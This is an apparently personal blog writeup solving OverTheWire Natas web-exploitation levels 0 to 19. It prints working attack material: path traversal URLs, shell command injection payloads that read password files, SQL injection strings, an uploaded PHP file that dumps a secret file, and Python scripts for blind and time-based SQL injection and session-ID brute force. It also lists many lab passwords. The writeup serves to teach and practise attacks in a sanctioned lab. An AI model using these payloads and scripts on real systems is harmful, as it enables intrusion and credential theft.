OverTheWire Natas Writeups
Random writeups about OverTheWire Natas.
Decided to go there to focus a bit on web exploitation.
The writeup for each level is really short and basic, sorry for that. If you are specifically interested in a write-up of this challenge and are not here by accident, check this by Jack Halon.
If you really want to hurt yourself, scroll down a bit.
Natas 0
Right click > view page source
<!--The password for natas1 is g9D9cREhslqBKtcA2uocGHPfMZVzeFK6 -->
Natas 1
You can find the password for the next level on this page, but rightclicking has been blocked!
Actually, it isn’t
<!--The password for natas2 is h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7 -->
Natas 2
There is nothing on this page False, there is a
<img src="files/pixel.png">
and if we go to the parent directory files/
, we find a users.txt
which contains the following line:
natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q
Natas 3
There is nothing on this page in the source code there’s a comment
google.. search engine.. robots.txt
!
User-agent: *
Disallow: /s3cr3t/
if we go to http://natas3.natas.labs.overthewire.org/s3cr3t/
we find a directory index with the file users.txt
.
The password of natas4 is tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm
Natas 4
Access disallowed. You are visiting from "" while authorized users should come only from “http://natas5.natas.labs.overthewire.org/"
if I refresh the page
Access disallowed. You are visiting from “http://natas4.natas.labs.overthewire.org/" while authorized users should come only from “http://natas5.natas.labs.overthewire.org/"
It is checking the Referer
in the HTTP GET request header.
Let’s start up burp suite.
We just need to replace the GET request header line
Referer: http://natas4.natas.labs.overthewire.org/index.php
to
Referer: http://natas5.natas.labs.overthewire.org/
and we get
Access granted. The password for natas5 is Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
Natas 5
Access disallowed. You are not logged in
Request sample:
GET /index.php HTTP/1.1
Host: natas5.natas.labs.overthewire.org
Cache-Control: max-age=0
Authorization: Basic bmF0YXM1OlowTnNydElrSm9LQUxCQ0xpNWVxRmZjUk44MkF1Mm9E
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: loggedin=0
Connection: close
If we edit the cookie loggedin=1
, it should work.
And it does
Access granted. The password for natas6 is fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR
Natas 6
the source code is the following:
<body>
<h1>natas6</h1>
<div id="content">
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
the first line of the php code includes a file called secret.inc
in the includes
directory. The content of http://natas6.natas.labs.overthewire.org/includes/secret.inc
is:
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
If we put it as the secret, the flag appears.
Access granted. The password for natas7 is jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr
Natas 7
Two links: Home and about. Source code:
<body>
<h1>natas7</h1>
<div id="content">
<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
I think this is a classic path traversal
Let’s go to http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8
a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB
Natas 8
Same UI as Natas 6. Source code:
<body>
<h1>natas8</h1>
<div id="content">
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
the encoding process is
- base64 encode
- strrev
- bin2hex
so the decode will be
- hex2bin
- strrev
- base64 decode
in php
function decodeSecret($encoded){
return base64_decode(strrev(hex2bin($encoded)));
}
decodeSecret("3d3d516343746d4d6d6c315669563362")
the result is oubWYf2kBq
If we put it as the secret
Access granted. The password for natas9 is Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd
Natas 9
Source Code
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
Simple linux command injection.
blabla; cat /etc/natas_webpass/natas10;
we get our flag: D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE
Natas 10
Same as Natas 9, but chars ;
, |
, &
are restricted.
We probably need to “exploit” grep.
.* /etc/natas_webpass/natas11 #
.htaccess:AuthType Basic
.htaccess: AuthName "Authentication required"
.htaccess: AuthUserFile /var/www/natas/natas10/.htpasswd
.htaccess: require valid-user
.htpasswd:natas10:$apr1$t6bjsq8a$xpGFjsUmCvTZohx70DGXg/
/etc/natas_webpass/natas11:1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg
Natas 11
Source Code
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas11", "pass": "<censored>" };</script></head>
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>
<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>
<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Let’s try to reconstruct the flow:
- the user inserts the color and submit
- the function
loadData()
is called- if there is no
data
cookie, thedefaultdata
is used (showpassword no
,bgcolor #ffffff
) - if the cookie exists, the cookie is decoded using
json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
- the values of
showpassword
andbgcolor
are saved into thedata
dict
- if there is no
- the color hex code is validated
- the cookie is updated
- the content is encoded using
base64_encode(xor_encrypt(json_encode($d)))
- the content is encoded using
We should craft a malicious cookie that has the showpassword
value to yes
. We just need to figure out the secret that xor_encrypt
uses.
When using XOR encryption, is it possible to obtain the key: key = plaintext XOR chipertext
.
We already know the content of the chipertext, so we can obtain the plaintext.
Here’s a list of what we have
base64_encode(xor_encrypt($d))): MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=
xor_encrypt($d): 0l;$$98-8=?#9*jvi 'ngl*+(!$#9lrnh(.*-(.n6
$d: {"showpassword":"no","bgcolor":"#ffffff"}
XORring the plaintext with the chipertext
The secret seems to be
KNHL
!
To verify we can try to xor the chipertext in order to check if we get the plaintext
Now, we can craft the “malicious” cookie:
And if we substitute it with the “legit” cookie, we’ll get the flag
The password for natas12 is YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG
Natas 12
Source code
<body>
<h1>natas12</h1>
<div id="content">
<?php
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
The website asks for a JPEG file.
At first i just wanted to understand how the site works “normally” even without seeing the code, but I soon noticed that in my laptop download folder there isn’t any single JPEG file that weights less than 1KB!
I’m lazy and I didn’t wanted to search for a 1kb jpeg file online, so i created a text file and changed the extension, but the website accepted. The website doesn’t check anything about the file besides the size. Nice!
If we upload a php file we could have a server side “malicious” code execution.
Just for testing purposes, I decided to upload a simple html file
<html>
<body>
<h1>Ciao!</h1>
</body>
</html>
The program accepts it, but the filename that php uses to save the uploaded file changes, and has the .jpg extension.
The file upload/l6d1zxtviv.jpg has been uploaded
The upload will be therefore interpreted as a picture, but if we check the code we see that we can change the extension by editing the <input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
input.
If, using developer tools, we change the value to whatever .html
, we will see our file processed as html. We can do the same but, instead of a html, we can upload a php file that prints the content of /etc/natas_webpass/natas13
<?php
$content = file_get_contents("/etc/natas_webpass/natas13");
echo $content;
?>
If we follow the link given by the site, we get the flag
lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9
Natas 13
This challenge is similar to natas 12, but it checks if the uploaded file is an image
Source Code
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>
<?php
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
The condition that checks if the file is an image, the one that we need to bypass, is this one
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
If we check the doc we learn that
exif_imagetype() reads the first bytes of an image and checks its signature.
Theoretically, if we put the magic bytes of a jpg file at the start of our malicious .php file, we can bypass this function.
From wikipedia we got the jpg magic bytes FF D8 FF EE
hex. With an hex editor we can edit our file, and if we edit again the hidden input like in the previous episode, we get
The file upload/21nga56nkb.php has been uploaded
and the flag
qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP
Natas 14
Natas 14 appears to be just a login page. Let’s see the source code
<body>
<h1>natas14</h1>
<div id="content">
<?php
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas14', '<censored>');
mysqli_select_db($link, 'natas14');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysqli_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
A brief look at the source tells us that there’s a debug mode that shows us the query. This can be helpful for a SQLinjection attempt.
Let’s try an happy case. Using burp, we can enable the debug mode by editing the first line of the request
POST /index.php?debug HTTP/1.1
Executing query: SELECT * from users where username=“admin” and password=“password” Access denied!
Now let’s try with a simple sql injection
admin" OR 1=1 #
TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB
Eazy!
Natas 15
<body>
<h1>natas15</h1>
<div id="content">
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas15', '<censored>');
mysqli_select_db($link, 'natas15');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysqli_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
We have the debug
parameter, just like in Natas 14. That’s nice.
The problem is that, unlike the previous level, we have a blind SQL injection. As owasp says
an attacker is forced to steal data by asking the database a series of true or false questions
The first step is finding a username. Let’s write a python script that finds a username
import requests
import string
symbols = string.ascii_letters + string.digits
url = "http://natas15.natas.labs.overthewire.org/index.php?debug"
natas_username = "natas15"
natas_password = "TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB"
username = ""
char = ""
while True:
for char in symbols:
response = requests.post(url, auth=(natas_username, natas_password), data={"username":"user\" OR username LIKE \""+username+char+"%\"#"})
if "This user exists." in response.text:
username += char
print("found", username)
break
Even if this script is really a piece of crap put together, we got our username: alice
found a
found al
found ali
found alic
found alice
now, we need to do the same thing for the password!
import requests
import string
symbols = string.ascii_letters + string.digits
url = "http://natas15.natas.labs.overthewire.org/index.php?debug"
natas_username = "natas15"
natas_password = "TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB"
username = ""
char = ""
while True:
for char in symbols:
response = requests.post(url, auth=(natas_username, natas_password), data={"username":"alice\" AND password LIKE \""+username+char+"%\"#"})
if "This user exists." in response.text:
username += char
print("found", username)
break
found h
found hr
found hro
found hrot
found hrots
found hrotsf
found hrotsfm
found hrotsfm7
found hrotsfm73
found hrotsfm734
We found the password of user alice
, which is hrotsfm734
, but that doesn’t really sound like the password of the next level. Maybe alice
is not the right username?
by editing the script I found the following user/password pairs
username | password |
---|---|
alice | hrotsfm734 |
bob | 6p151ontqe |
charlie | hlwugkts2w |
natas16 | trd7izrd5gatjj9pkpeuaolfejhqj32v |
Oh, that was so dumb. I immediately started to write the script, and I forgot to try the most obvious username.
But at the end I found the flag, right, so who cares? Well, the only problem is that the password is invalid! and of course it is, because the keywork LIKE
without BINARY
is case-insensitive. I fixed my script and I got the right flag: TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V
This was fun!
The complete script, please don’t read it, it’s really bad
import requests
import string
symbols = string.ascii_letters + string.digits
url = "http://natas15.natas.labs.overthewire.org/index.php?debug"
natas_username = "natas15"
natas_password = "TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB"
username = ""
char = ""
end = True
# username
username = "n"
while True:
for char in symbols:
response = requests.post(url, auth=(natas_username, natas_password), data={"username":"user\" OR username LIKE \""+username+char+"%\"#"})
if "This user exists." in response.text:
username += char
print("found", username)
break
if char == symbols[-1]:
print("end")
# password
while True:
for char in symbols:
response = requests.post(url, auth=(natas_username, natas_password), data={"username":"natas16\" AND password LIKE BINARY \""+username+char+"%\"#"})
if "This user exists." in response.text:
username += char
print("found", username)
break
if char == symbols[-1]:
print("end")
Natas 16
This level is very similar to natas 9 and 10, but the anti code injection protection has been improved. Here’s the source code:
<body>
<h1>natas16</h1>
<div id="content">
For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
The main function that tries to protect the grep command is the following: preg_match('/[;|&
'”]/’,$key)`
The first thing to do is read the documentation, ever if there isn’t really much to say: the function performs a regular expression match.
The functions checks for some commonly-used for injection characters: ;
, |
, &
, `, \
, '
, "
.
I think that at this point we can follow 2 paths
- Find a vulnerability in the
preg_match
function - Find a way to inject code without using the characters above
While searching known bypass of preg_match
I found this bypass by HackTricks, that states that
preg_match() only checks the first line of the user input, then if somehow you can send the input in several lines, you could be able to bypass this check.
I tried to make this GET request using the bypass
GET /?needle=test%0Atest;&submit=Search HTTP/1.1
but it doesn’t seem to work
Input contains an illegal character!
Weird. Maybe they fixed it.
Let’s try another bypass then, the ReDoS Bypass, described in this CTF writeup: The preg_match
functions returns false
if it fails. false
is the same as 0
, that means that nothing has matched the regex, letting us inject our code.
We can make the function fail by giving it a really long string. Here’s the script that I created, based on the one of the writeup above.
import requests
url = "http://natas16.natas.labs.overthewire.org/"
auth = ("natas16", "TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V")
r = requests.get(url, params={"submit":"Search", "needle":("X"*500001)+"\"; cat /etc/natas_webpass/natas17 #"}, auth=auth)
print(r)
Even this approach failed, obviously: the response code is 414 Request-URI too long. This could’ve worked, maybe, if it was a POST request.
Wait.. the $_REQUEST
array is, per the PHP doc, “An associative array that by default contains the contents of $_GET, $_POST and $_COOKIE. “.
Let’s try with a POST request! We should be able to bypass the URI length restriction.
import requests
url = "http://natas16.natas.labs.overthewire.org/"
auth = ("natas16", "TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V")
r = requests.post(url, data={"submit":"Search", "needle":("X"*50000001)+"\"; cat /etc/natas_webpass/natas17 #"}, auth=auth)
Sadly, we still get a
Input contains an illegal character!
Let’s try the second path and find a way to inject code without the forbidden chars.
Maybe we can use bash command substitution?
Yes we can! I tried with $(sleep 10)
and the page waited for 10 seconds to reload.
The only problem is that this is a blind injection: we don’t have a way to see the output of our command.
I tried to make an HTTP request to a webhook but sadly this attempt failed. The server that hosts the website cannot reach internet. Makes sense from the organizers’s standpoint.
After some other failed attempt I figured out that the right approach is similar to the one we used in the previous level: we can use the command grep -E ^<letter>.* /etc/natas_webpass/natas17
to check if the password starts with the letter <letter>
.
In order to display the “result” of the command we can concatenate the output with a known word: if the word is displayed, the result of grep is blank and therefore the password doesn’t start with that letter.
We can now use python to implement a script similar to the one we used for natas15
import requests
import string
import time
auth = ("natas16", "TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V")
url = "http://natas16.natas.labs.overthewire.org/"
characters = string.ascii_letters + string.digits
password = ""
while True:
for char in characters:
response = requests.get(
url,
auth=auth,
params={
"submit":"Search",
"needle":"$(grep -E ^"+password+char+".* /etc/natas_webpass/natas17)underwater"
}
)
if "underwater" not in response.text:
password += char
break
if char == "9":
print(password)
exit()
This script is actually a bit more decent than the previous one. I just needed for just a bit and I got the flag: XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd
Natas 17
This level is almost identical to level 15, but there’s a catch
<body>
<h1>natas17</h1>
<div id="content">
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas17', '<censored>');
mysqli_select_db($link, 'natas17');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysqli_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
The echo is commented!
In this level we need a specific flavor of SQL injection: a time-based injection. The application doesn’t really gives us any output about the outcome of the condition, so the only thing we can do is injecting a sleep
function or do some time-consuming operation.
The time, then, becomes the switch that enables us to understand if the result of our injected query is true or false.
We just need to edit the natas 15 script and we are good to go, but maybe it’s a better idea to rewrite the script completely.
Before that, I want to make sure that the username is natas18
:
natas18" and SLEEP(5); --
The page hangs on for a few seconds, so we know that the user exists!
Let’s write a simple script: it’s almost the same as the one of natas15, but it takes the timestamp before and after the request. SQL sleeps for 5 seconds if the result is true, so if the timedelta (post response - pre request) is greater than 5 seconds, the result of the operation is true.
import requests
from datetime import datetime
import string
symbols = string.ascii_letters + string.digits
url = "http://natas17.natas.labs.overthewire.org/index.php"
natas_username = "natas17"
natas_password = "XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd"
password = ""
char = ""
while True:
for char in symbols:
req_time = datetime.now()
response = requests.post(
url,
auth=(natas_username, natas_password),
data={
"username":"natas18\" AND password LIKE BINARY \""+password+char+"%\" AND SLEEP(5); -- "
}
)
resp_time = datetime.now()
if (resp_time - req_time).seconds > 2:
password += char
break
if char == symbols[-1]:
print(password)
exit()
This will take a bit more that the previous level, but at the end we’ll get our flag:
8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq
yeah!
Natas 18
<body>
<h1>natas18</h1>
<div id="content">
<?php
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
if($showform) {
?>
<p>
Please login with your admin account to retrieve credentials for natas19.
</p>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
In this level we need to bruteforce the PHPSESSID
cookie, in order to find the session id of a previous admin
session.
We can bruteforce this because the session ID is predictable: we learn from the source code that, for each session, is used a random number between 0 and 640
$maxid = 640; // 640 should be enough for everyone
...
function createID($user) {
global $maxid;
return rand(1, $maxid);
}
At first I used the Burp Intruder, but in the community edition the requests are time-throttled so while the intruder was running I started to write a simple python script.
Both methods worked, so I’ll show both of them
The Python Way
import requests
import re
url = "http://natas18.natas.labs.overthewire.org/index.php?debug"
auth = ("natas18", "8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq")
for id in range(0, 641):
response = requests.get(
url,
auth=auth,
cookies={"PHPSESSID":str(id)},
params={"username":"test","password":"test"}
)
text = response.text
if "You are an admin" in text:
print("Admin PHPSESSID is:",id)
username = re.search(r"Username: (\w+)", text).group(1)
password = re.search(r"Password: (\w+)", text).group(1)
print("Username:", username)
print("Password:", password)
exit()
The scripts tries every number as the session ID from 0 to 640.
If the response contains the “Your are an admin” string, it shows the session id and the credentials.
The output is the following:
$ python natas18.py
Admin PHPSESSID is: 119
Username: natas19
Password: 8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s
The Burp Suite Way
The first thing to do is to generate in the embedded web browser an “Happy case”
Then, right click on the request and click “Send to Intruder” or press Ctrl+I
At this point we need to wrap the PHPSESSID value with the ยง
characters. This tells burp which is the character to bruteforce
Then, we need to choose what we want to substitute the value with. Let’s go to the “payloads” tab, select “Numbers” as “Payload Type” and set the range from 0 to 640 with step 1
At this point we can start our attack. Sadly, the community edition of burp doesn’t allow us to filter the differente results by search term, but we can sort the items by response length.
We can see that the 120th request, with payload 119
, is longer than all the others. That’s the right one!
Natas 19
Wow, this page is already really long and we are just a bit over the half!
Anyway, this level is identical to Natas 18, but there is no source code, and a warning awaits us:
This page uses mostly the same code as the previous level, but session IDs are no longer sequential…
If we try to enter random username test
and password , we see that the value of PHPSESSID is the following: 3131312d74657374
Is this hexadecimal?
>>> id = "3131312d74657374"
>>> bytes.fromhex(id)
b'111-test'
Yes, it is! it appears that the session ID in this level is the hexadecimal encoding of a number and the username.
We already know the username we want, admin
, so we just need to bruteforce the three-digit number before the username. Let’s edit the python script we used in the previous level
import requests
import re
import time
url = "http://natas19.natas.labs.overthewire.org/index.php?debug"
auth = ("natas19", "8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s")
for num in range(0, 1000):
time.sleep(0.2)
id = (str(num).zfill(3)+"-admin")
response = requests.get(
url,
auth=auth,
cookies={
"PHPSESSID":id.encode().hex()
},
params={
"username":"admin",
"password":"blabla"
}
)
print(id, id.encode().hex())
text = response.text
if "You are an admin" in text:
print("Admin PHPSESSID is:", id)
username = re.search(r"Username: (\w+)", text).group(1)
password = re.search(r"Password: (\w+)", text).group(1)
print("Username:", username)
print("Password:", password)
exit()
After a while (I had to put the time.sleep
because I almost DOS-ssed myself), we get our result
281-admin 3238312d61646d696e
Admin PHPSESSID is: 281-admin
Username: natas20
Password: guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH
-1!
This is all under construction. Creation date: 4/4/24 - Last Update: 14/4/24